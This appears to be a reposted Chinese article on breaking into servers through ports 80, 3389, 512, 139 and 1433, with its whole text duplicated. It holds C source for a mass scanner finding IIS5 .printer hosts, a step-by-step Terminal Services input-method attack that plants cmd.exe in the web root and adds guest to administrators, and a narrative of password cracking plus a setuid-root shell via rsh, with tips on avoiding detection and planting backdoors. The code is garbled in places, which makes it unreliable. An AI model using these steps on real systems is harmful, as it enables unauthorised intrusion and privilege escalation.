80端口、512端口、3389端口……入侵实例
程序员文章站
2022-06-28 14:06:22
有很多网站为了安全起见,在WEB Server前面架了防火墙,或者做了TCP/IP过滤,对外只开放TCP 80端口。从入侵者角度来看,要入侵那么从80上跑的CGI入手是比较可行的,当然也可以用别的... 08-10-08...
有很多网站为了安全起见,在web server前面架了防火墙,或者做了tcp/ip过滤,对外只开放tcp 80端口。从入侵者角度来看,要入侵那么从80上跑的cgi入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证cgi的安全性,另外网络的整体安全性也是很重要的。针对基于80端口入侵、防范而出的cgi扫描器数不胜数,但基本上原理都一样。
cgi扫描器原理说起来其实非常简单,可以用四句话来概括:连接目标web server;发送一个特殊的请求;接收目标服务器返回数据;根据返回数据判断目标服务器是否有此cgi漏洞。
当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的cgi漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的cgi漏洞扫描器还是必要的。ok!今天我们就自己来动手用c写一个简单的cgi扫描器,帮助自己在日常工作中检测服务器:))
源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。
/************************************************************************* module:cgicheck.cpp author:ey4s date:2001/5/16说明:这是一个console下多线程,带有进度显示的cgi扫描器的模板,更改一下szsign和sendbuff就可以扫描其他cgi漏洞,设置了连接、发送、接收超时,速度还可以哦。希望可以帮助到admins检测自己的服务器:))
*************************************************************************/ #i nclude
#define iport 80//目标web server端口#define szsign “500 13rnserver: microsoft-iis/5.0”//根据此标志来检查目标是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定义&初始化全局变量// char *sendbuff=“get /null.printern”,//发送的请求buff currenttarget[52]=,//存放最后一个线程将扫描的目标turn[4][2]=;//显示进度时的字符int sendbufflen=strlen(sendbuff),//发送的buff长度iconntimeout,//tcp connect timeout ii=0,//扫描进度itotal;//服务器总数handle hsemaphore=null,//信标内核对象句柄,用来控制线程数量hstdout;//console标准输出句柄,做进度显示的时候用的struct timeval timeout;//连接、发送和接收的超时值dword sleeptime;//每个一个线程后等待的时间/* sleeptime值根据用户输入的线程数量[threadnum]和tcp connecttimeout[conntimeo]来计算。确保在conntimeo时间左右开threadnum个线程。这样在conntimeo时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有threadnum个线程在运行。
*/ /////////////////////////////////////////////////////////////////////////// void showerror(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)
bool resetcursor(void);//重置光标位置,线程输出的时候调用的dword winapi showproinfo(lpvoid);//显示进度信息dword winapi scan(lpvoid);//扫描函数void usage(char *);//帮助函数/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ handle hthread=null;//线程句柄dword dwthreadid;//线程id struct sockaddr_in sa;int i,maxthread;//最大线程数量wsadata wsd;long previouscount;clock_t start,end;//程序运行的起始和结束时间double duration;
//检查用户输入参数if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int startnet=inet_addr(argv[1]);int stopnet=inet_addr(argv[2]);int starthost=ntohl(startnet);int stophost=ntohl(stopnet);//取得线程数量maxthread=atoi(argv[3]);//取得conn超时时间iconntimeout=atoi(argv[4]);//检查参数合法性if((iconntimeout>6) || (iconntimeout500) ||(stophost { usage(argv[0]);return 1;} //计算时间sleeptime=1000*iconntimeout/maxthread;//设置连接超时值timeout.tv_sec = iconntimeout;timeout.tv_usec =0;__try { //开始计时start=clock();//加载winsock库if (wsastartup(makeword(1,1), &wsd) != 0)
{ showerror(“wsastartup”);__leave;} //创建信标内核对象句柄hsemaphore=createsemaphore(null,maxthread,maxthread,null);if(hsemaphore==null)
{ showerror(“createsemaphore”);__leave;} //取得console标准输出句柄hstdout=getstdhandle(std_output_handle);if(hstdout==invalid_handle_)
{ showerror(“getstdhandle”);__leave;} //设置目标总数itotal=stophost-starthost;//创建进度显示线程hthread=createthread(null,0,showproinfo,null,0,&dwthreadid);if(hthread==null)
{ showerror(“1 createthread”);__leave;} //关闭句柄closehandle(hthread);//循环创建扫描线程for(i=starthost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,currenttarget,turn[k],ii,itotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //扫描函数// dword winapi scan(lpvoid lp)
{ int i=(int)lp,ierr;struct sockaddr_in server;socket s=invalid_socket;char recvbuff[1024]=,*ptr;int recvbufflen=sizeof(recvbuff);u_long ul=1;//初始化为为非0值fd_set r,w;
//create socket s=socket(af_inet, sock_stream, ipproto_tcp);if(s==invalid_socket)
{ printf(“ncreate socket failed:%d”,getlasterror());exitprocess(1);} //fill the addr struct server.sin_family=af_inet;server.sin_port=htons(iport);server.sin_addr.s_un.s_addr=htonl(i);__try { //设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式ierr=ioctlsocket(s,fionbio,(unsigned long*)&ul);if(ierr==socket_error )
{ resetcursor();showerror(“ioctlsocket”);exitprocess(1);} //printf(“n%x ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%x conn return,start select w”,i);//设置select参数fd_zero(&w);fd_set(s, &w);//等待connect成功&socket可写ierr=select(0, 0, &w, 0, &timeout);//printf(“n%x select w return %d”,i,ierr);//等待返回后,socket仍不可写则退出if((ierr==socket_error) || (ierr==0))
{ //printf(“n%x select return w err,exit”,i);__leave;} //socket可写则继续else { //send buff to target //printf(“n%x send”,i);ierr=send(s,sendbuff,sendbufflen,0);//printf(“n%x send return”,i);if(ierr==socket_error)
__leave;} //等待socket可读fd_zero(&r);fd_set(s, &r);//printf(“n%x start select r”,i);ierr=select(0, &r, 0, 0, &timeout);//printf(“n%x select r return %d”,i,ierr);if((ierr==socket_error) || (ierr==0))
{ //printf(“n%x select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%x start recv”,i);ierr=recv(s,recvbuff,recvbufflen,0);//printf(“n%x recv ret”,i);if(ierr==socket_error)
__leave;} //verify buff ptr=strstr(recvbuff,szsign);if(ptr!=null)
{ //线程输出前要先调用resetcursor函数resetcursor();//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!releasesemaphore(hsemaphore,1,null))
showerror(“thread releasesemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find iis5 .printer mapped”“npower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnusage:%s ”“nnnotice”“n startip stopip ==>don't forgot stopip must large than startip ”“n threadnum ==>thread number,please input between 1-500”“n conntimeo ==>tcp connect timeout,please input between 2-6”“nnexample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在vc 6.0上编译通过,在windows2000上运行良好:)
389端口的入侵3389端口的入侵3389端口的入侵
由于微软对中国产品不付责任的态度,使得安装了终端服务和全拼的w2k服务器存在着远程登陆并能获取超级用户权限的严重漏洞。
其过程如下:
1.扫描3389 port终端服务默认;2.用终端客户端程序进行连接;3.按ctrl shift调出全拼输入法(其他似乎不行),点鼠标右键(如果其帮助菜单发灰,就赶快赶下家吧,人家打补丁了),点帮助,点输入法入门;4.在“选项”菜单上点右键——>跳转到url“,输入:c:winntsystem32cmd.exe.(如果不能确定nt系统目录,则输入:c:或d:……进行查找确定);5.选择”保存到磁盘“选择目录:c:inetpubs,因实际上是对方服务器上文件自身的复制操作,所以这个过程很快就会完成;6.打开ie,输入:http://ip/s/cmd.exe?/c dir怎么样?有cmd.exe文件了吧?这我们就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我们的批文件内容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“选项”菜单上点右键——>跳转到url“,输入:c:inetpubsgo.bat ——>在磁盘当前位置执行;12.呵呵,大功告成啦,这样我们就激活了服务器的geust帐户,密码为:elise,超级用户呢!(我喜欢guest而不是建立新帐户,这样似乎不易被发现些),这样你就可用ipc$连接,想怎样做就怎样做了,当然,你也可用guest直接登陆到他的服务器,到他机器上去跳舞吧:-)
注意事项:1.当你用终端客户端程序登陆到他的服务器时,你的所有操作不会在他的机器上反应出来,但如果他正打开了终端服务管理器,你就惨了了:(这时他能看到你所打开的进程id、程序映象,你的ip及机器名,并能发消息给你!
2.当你连接时,会加重对方服务器的负荷,非常容易造成对方死机和断线,所以你的操作快点为妙。
3.尽快做好后门,暂时不要上传任何程序,一是防止断线,二是防止对方打上补丁!
个人观点:1.在ie下,所拥有的只是iusr_machine权限,因而,你不要设想去做越权的事情,如启动telnet、木马等;2.url的跳转下,你将拥有超级用户的权限,好好利用吧3.跳转到哪个目录下,通常只能查看、执行当前目录的文件,不能进入到子目录,如想进入,再跳一次吧!:)
4.此法似乎与对方的防火墙无关哦!
5.据本人实际操作,发现极易断线,但应与占用服务器资源无关。对方是384m ram piii,是静态ip,主要是做数据库服务器,raid硬盘,scsi cd rom,开机18天了,02:00进去时,仍时常吊线。
堵漏办法:1.打补丁;2.删掉全拼输入法,用标准就成了嘛^_^;3.服务中关掉:terminal services,服务名称:termservice,对应程序名:system32termsrv.exe;
512端口入侵
已经是第六十几天了,我的celeron 533仍不知疲倦的跑着john……我是无意中注意到这个网站的,当时只是想看一下,方法是各位大虾都会的finger,然后猜用户口令进去的。进去之后passwd也没有shadown,直接就可以看到,该系统用的是digital unix系统,从passwd看得出里面的用户只有两个组:root和users,我猜中的就是一users级别的,发现这个级别的用户几乎没有什么权限,telnet上去后发现/usr/users/xxx是各用户的home,而它们的属性全是drwx——,也就是说这里的用户是互不信任的关系(这一点大家在各免费主页服务器上经常可以看到),看来猜出再多用户级口令也没有用的。
root级的用户只有两名:root和shut.root我用john已跑了60多天,显然不可能再跑出来了,但幸运的是shut口令已跑出来了。我毫不犹豫的telnet上去——然后,网站就关闭了!@#~!#^%,我真笨,怎么没想到shut口令是干什么的?
网站很快就又开启了,我发现shut口令还是没改!这个网管是怎么当的,系统关了也不查一下原因!很显然,这个网站上只有root是有水平的,但他与服务器可能不在同地,对于开、关机之类的事情不能直接操纵,与是给当地的操作员一个root级帐号,然后在。profile文件中做了一个shell,使得帐号一登录就自动关系统。看看系统这么周密的设计,我想root设计这个shell时绝对关掉了path,所以我不打算在优先的path路径中放一同名的shell来阻止它。我如果能改掉这个文件再telnet上去不就是root级了吗?
但是shut的home目录是drwx——,别的帐号根本进不去。没关系,我试试ftp,530 user shut access denined(被拒绝),users组可以ftp上去同样进不了shut目录。而且该网站根本就没有开www服务,怎么办?为这个网站陆陆续续研究了许久,我总是乐观的鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,只到有一天……
我再一次用haktek扫描该网站,结果如下:port 21 found. desc='ftp' port 23 found. desc='telnet' port 25 found. desc='smtp' port 79 found. desc='finger' port 111 found. desc='portmap/sunrpc' port 512 found. desc='biff/exec' port 513 found. desc='login/who' port 514 found. desc='shell/syslog' port 515 found. desc='printer' port 1024 found. port 1025 found. port 1526 found. port 1528 found.
一个以前一直没有注意的port 512引起我的注意,这个端口是什么时候开的?要知道它可以让用户不登录就可以运行服务器上的命令!!!赶紧试试!
打开一个软件winrsh32,填入user和password,在命令中填上ls -la,点运行哇,文件全列出来了,剩下的就简单了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那个破掉的user级帐号telnet,cd/tmp;。temp.当#映入眼帘时,心却往下一沉,我突然感到一丝落寂……可惜这个root一世小心,却毁在了让shut可以使用512端口上。看来破坏一个世界总是比建立一个世界简单……
39端口入侵139端口入侵139端口的入侵,主要是通过建立空连接,而获得用户名和共享名,接着用字典法或穷举法来猜测administrators的密码,这样可获得最高权限。
解决方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用ms sql server默认sa的密码是空,通过远程执行命令而达到目的,或通过穷举法猜测密码
cgi扫描器原理说起来其实非常简单,可以用四句话来概括:连接目标web server;发送一个特殊的请求;接收目标服务器返回数据;根据返回数据判断目标服务器是否有此cgi漏洞。
当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的cgi漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的cgi漏洞扫描器还是必要的。ok!今天我们就自己来动手用c写一个简单的cgi扫描器,帮助自己在日常工作中检测服务器:))
源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。
/************************************************************************* module:cgicheck.cpp author:ey4s date:2001/5/16说明:这是一个console下多线程,带有进度显示的cgi扫描器的模板,更改一下szsign和sendbuff就可以扫描其他cgi漏洞,设置了连接、发送、接收超时,速度还可以哦。希望可以帮助到admins检测自己的服务器:))
*************************************************************************/ #i nclude
#define iport 80//目标web server端口#define szsign “500 13rnserver: microsoft-iis/5.0”//根据此标志来检查目标是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定义&初始化全局变量// char *sendbuff=“get /null.printern”,//发送的请求buff currenttarget[52]=,//存放最后一个线程将扫描的目标turn[4][2]=;//显示进度时的字符int sendbufflen=strlen(sendbuff),//发送的buff长度iconntimeout,//tcp connect timeout ii=0,//扫描进度itotal;//服务器总数handle hsemaphore=null,//信标内核对象句柄,用来控制线程数量hstdout;//console标准输出句柄,做进度显示的时候用的struct timeval timeout;//连接、发送和接收的超时值dword sleeptime;//每个一个线程后等待的时间/* sleeptime值根据用户输入的线程数量[threadnum]和tcp connecttimeout[conntimeo]来计算。确保在conntimeo时间左右开threadnum个线程。这样在conntimeo时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有threadnum个线程在运行。
*/ /////////////////////////////////////////////////////////////////////////// void showerror(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)
bool resetcursor(void);//重置光标位置,线程输出的时候调用的dword winapi showproinfo(lpvoid);//显示进度信息dword winapi scan(lpvoid);//扫描函数void usage(char *);//帮助函数/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ handle hthread=null;//线程句柄dword dwthreadid;//线程id struct sockaddr_in sa;int i,maxthread;//最大线程数量wsadata wsd;long previouscount;clock_t start,end;//程序运行的起始和结束时间double duration;
//检查用户输入参数if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int startnet=inet_addr(argv[1]);int stopnet=inet_addr(argv[2]);int starthost=ntohl(startnet);int stophost=ntohl(stopnet);//取得线程数量maxthread=atoi(argv[3]);//取得conn超时时间iconntimeout=atoi(argv[4]);//检查参数合法性if((iconntimeout>6) || (iconntimeout500) ||(stophost { usage(argv[0]);return 1;} //计算时间sleeptime=1000*iconntimeout/maxthread;//设置连接超时值timeout.tv_sec = iconntimeout;timeout.tv_usec =0;__try { //开始计时start=clock();//加载winsock库if (wsastartup(makeword(1,1), &wsd) != 0)
{ showerror(“wsastartup”);__leave;} //创建信标内核对象句柄hsemaphore=createsemaphore(null,maxthread,maxthread,null);if(hsemaphore==null)
{ showerror(“createsemaphore”);__leave;} //取得console标准输出句柄hstdout=getstdhandle(std_output_handle);if(hstdout==invalid_handle_)
{ showerror(“getstdhandle”);__leave;} //设置目标总数itotal=stophost-starthost;//创建进度显示线程hthread=createthread(null,0,showproinfo,null,0,&dwthreadid);if(hthread==null)
{ showerror(“1 createthread”);__leave;} //关闭句柄closehandle(hthread);//循环创建扫描线程for(i=starthost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,currenttarget,turn[k],ii,itotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //扫描函数// dword winapi scan(lpvoid lp)
{ int i=(int)lp,ierr;struct sockaddr_in server;socket s=invalid_socket;char recvbuff[1024]=,*ptr;int recvbufflen=sizeof(recvbuff);u_long ul=1;//初始化为为非0值fd_set r,w;
//create socket s=socket(af_inet, sock_stream, ipproto_tcp);if(s==invalid_socket)
{ printf(“ncreate socket failed:%d”,getlasterror());exitprocess(1);} //fill the addr struct server.sin_family=af_inet;server.sin_port=htons(iport);server.sin_addr.s_un.s_addr=htonl(i);__try { //设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式ierr=ioctlsocket(s,fionbio,(unsigned long*)&ul);if(ierr==socket_error )
{ resetcursor();showerror(“ioctlsocket”);exitprocess(1);} //printf(“n%x ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%x conn return,start select w”,i);//设置select参数fd_zero(&w);fd_set(s, &w);//等待connect成功&socket可写ierr=select(0, 0, &w, 0, &timeout);//printf(“n%x select w return %d”,i,ierr);//等待返回后,socket仍不可写则退出if((ierr==socket_error) || (ierr==0))
{ //printf(“n%x select return w err,exit”,i);__leave;} //socket可写则继续else { //send buff to target //printf(“n%x send”,i);ierr=send(s,sendbuff,sendbufflen,0);//printf(“n%x send return”,i);if(ierr==socket_error)
__leave;} //等待socket可读fd_zero(&r);fd_set(s, &r);//printf(“n%x start select r”,i);ierr=select(0, &r, 0, 0, &timeout);//printf(“n%x select r return %d”,i,ierr);if((ierr==socket_error) || (ierr==0))
{ //printf(“n%x select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%x start recv”,i);ierr=recv(s,recvbuff,recvbufflen,0);//printf(“n%x recv ret”,i);if(ierr==socket_error)
__leave;} //verify buff ptr=strstr(recvbuff,szsign);if(ptr!=null)
{ //线程输出前要先调用resetcursor函数resetcursor();//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!releasesemaphore(hsemaphore,1,null))
showerror(“thread releasesemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find iis5 .printer mapped”“npower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnusage:%s ”“nnnotice”“n startip stopip ==>don't forgot stopip must large than startip ”“n threadnum ==>thread number,please input between 1-500”“n conntimeo ==>tcp connect timeout,please input between 2-6”“nnexample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在vc 6.0上编译通过,在windows2000上运行良好:)
389端口的入侵3389端口的入侵3389端口的入侵
由于微软对中国产品不付责任的态度,使得安装了终端服务和全拼的w2k服务器存在着远程登陆并能获取超级用户权限的严重漏洞。
其过程如下:
1.扫描3389 port终端服务默认;2.用终端客户端程序进行连接;3.按ctrl shift调出全拼输入法(其他似乎不行),点鼠标右键(如果其帮助菜单发灰,就赶快赶下家吧,人家打补丁了),点帮助,点输入法入门;4.在“选项”菜单上点右键——>跳转到url“,输入:c:winntsystem32cmd.exe.(如果不能确定nt系统目录,则输入:c:或d:……进行查找确定);5.选择”保存到磁盘“选择目录:c:inetpubs,因实际上是对方服务器上文件自身的复制操作,所以这个过程很快就会完成;6.打开ie,输入:http://ip/s/cmd.exe?/c dir怎么样?有cmd.exe文件了吧?这我们就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我们的批文件内容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“选项”菜单上点右键——>跳转到url“,输入:c:inetpubsgo.bat ——>在磁盘当前位置执行;12.呵呵,大功告成啦,这样我们就激活了服务器的geust帐户,密码为:elise,超级用户呢!(我喜欢guest而不是建立新帐户,这样似乎不易被发现些),这样你就可用ipc$连接,想怎样做就怎样做了,当然,你也可用guest直接登陆到他的服务器,到他机器上去跳舞吧:-)
注意事项:1.当你用终端客户端程序登陆到他的服务器时,你的所有操作不会在他的机器上反应出来,但如果他正打开了终端服务管理器,你就惨了了:(这时他能看到你所打开的进程id、程序映象,你的ip及机器名,并能发消息给你!
2.当你连接时,会加重对方服务器的负荷,非常容易造成对方死机和断线,所以你的操作快点为妙。
3.尽快做好后门,暂时不要上传任何程序,一是防止断线,二是防止对方打上补丁!
个人观点:1.在ie下,所拥有的只是iusr_machine权限,因而,你不要设想去做越权的事情,如启动telnet、木马等;2.url的跳转下,你将拥有超级用户的权限,好好利用吧3.跳转到哪个目录下,通常只能查看、执行当前目录的文件,不能进入到子目录,如想进入,再跳一次吧!:)
4.此法似乎与对方的防火墙无关哦!
5.据本人实际操作,发现极易断线,但应与占用服务器资源无关。对方是384m ram piii,是静态ip,主要是做数据库服务器,raid硬盘,scsi cd rom,开机18天了,02:00进去时,仍时常吊线。
堵漏办法:1.打补丁;2.删掉全拼输入法,用标准就成了嘛^_^;3.服务中关掉:terminal services,服务名称:termservice,对应程序名:system32termsrv.exe;
512端口入侵
已经是第六十几天了,我的celeron 533仍不知疲倦的跑着john……我是无意中注意到这个网站的,当时只是想看一下,方法是各位大虾都会的finger,然后猜用户口令进去的。进去之后passwd也没有shadown,直接就可以看到,该系统用的是digital unix系统,从passwd看得出里面的用户只有两个组:root和users,我猜中的就是一users级别的,发现这个级别的用户几乎没有什么权限,telnet上去后发现/usr/users/xxx是各用户的home,而它们的属性全是drwx——,也就是说这里的用户是互不信任的关系(这一点大家在各免费主页服务器上经常可以看到),看来猜出再多用户级口令也没有用的。
root级的用户只有两名:root和shut.root我用john已跑了60多天,显然不可能再跑出来了,但幸运的是shut口令已跑出来了。我毫不犹豫的telnet上去——然后,网站就关闭了!@#~!#^%,我真笨,怎么没想到shut口令是干什么的?
网站很快就又开启了,我发现shut口令还是没改!这个网管是怎么当的,系统关了也不查一下原因!很显然,这个网站上只有root是有水平的,但他与服务器可能不在同地,对于开、关机之类的事情不能直接操纵,与是给当地的操作员一个root级帐号,然后在。profile文件中做了一个shell,使得帐号一登录就自动关系统。看看系统这么周密的设计,我想root设计这个shell时绝对关掉了path,所以我不打算在优先的path路径中放一同名的shell来阻止它。我如果能改掉这个文件再telnet上去不就是root级了吗?
但是shut的home目录是drwx——,别的帐号根本进不去。没关系,我试试ftp,530 user shut access denined(被拒绝),users组可以ftp上去同样进不了shut目录。而且该网站根本就没有开www服务,怎么办?为这个网站陆陆续续研究了许久,我总是乐观的鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,只到有一天……
我再一次用haktek扫描该网站,结果如下:port 21 found. desc='ftp' port 23 found. desc='telnet' port 25 found. desc='smtp' port 79 found. desc='finger' port 111 found. desc='portmap/sunrpc' port 512 found. desc='biff/exec' port 513 found. desc='login/who' port 514 found. desc='shell/syslog' port 515 found. desc='printer' port 1024 found. port 1025 found. port 1526 found. port 1528 found.
一个以前一直没有注意的port 512引起我的注意,这个端口是什么时候开的?要知道它可以让用户不登录就可以运行服务器上的命令!!!赶紧试试!
打开一个软件winrsh32,填入user和password,在命令中填上ls -la,点运行哇,文件全列出来了,剩下的就简单了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那个破掉的user级帐号telnet,cd/tmp;。temp.当#映入眼帘时,心却往下一沉,我突然感到一丝落寂……可惜这个root一世小心,却毁在了让shut可以使用512端口上。看来破坏一个世界总是比建立一个世界简单……
39端口入侵139端口入侵139端口的入侵,主要是通过建立空连接,而获得用户名和共享名,接着用字典法或穷举法来猜测administrators的密码,这样可获得最高权限。
解决方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用ms sql server默认sa的密码是空,通过远程执行命令而达到目的,或通过穷举法猜测密码
上一篇: 文景之治的两个皇帝是怎样的人?
下一篇: sniffer攻击实例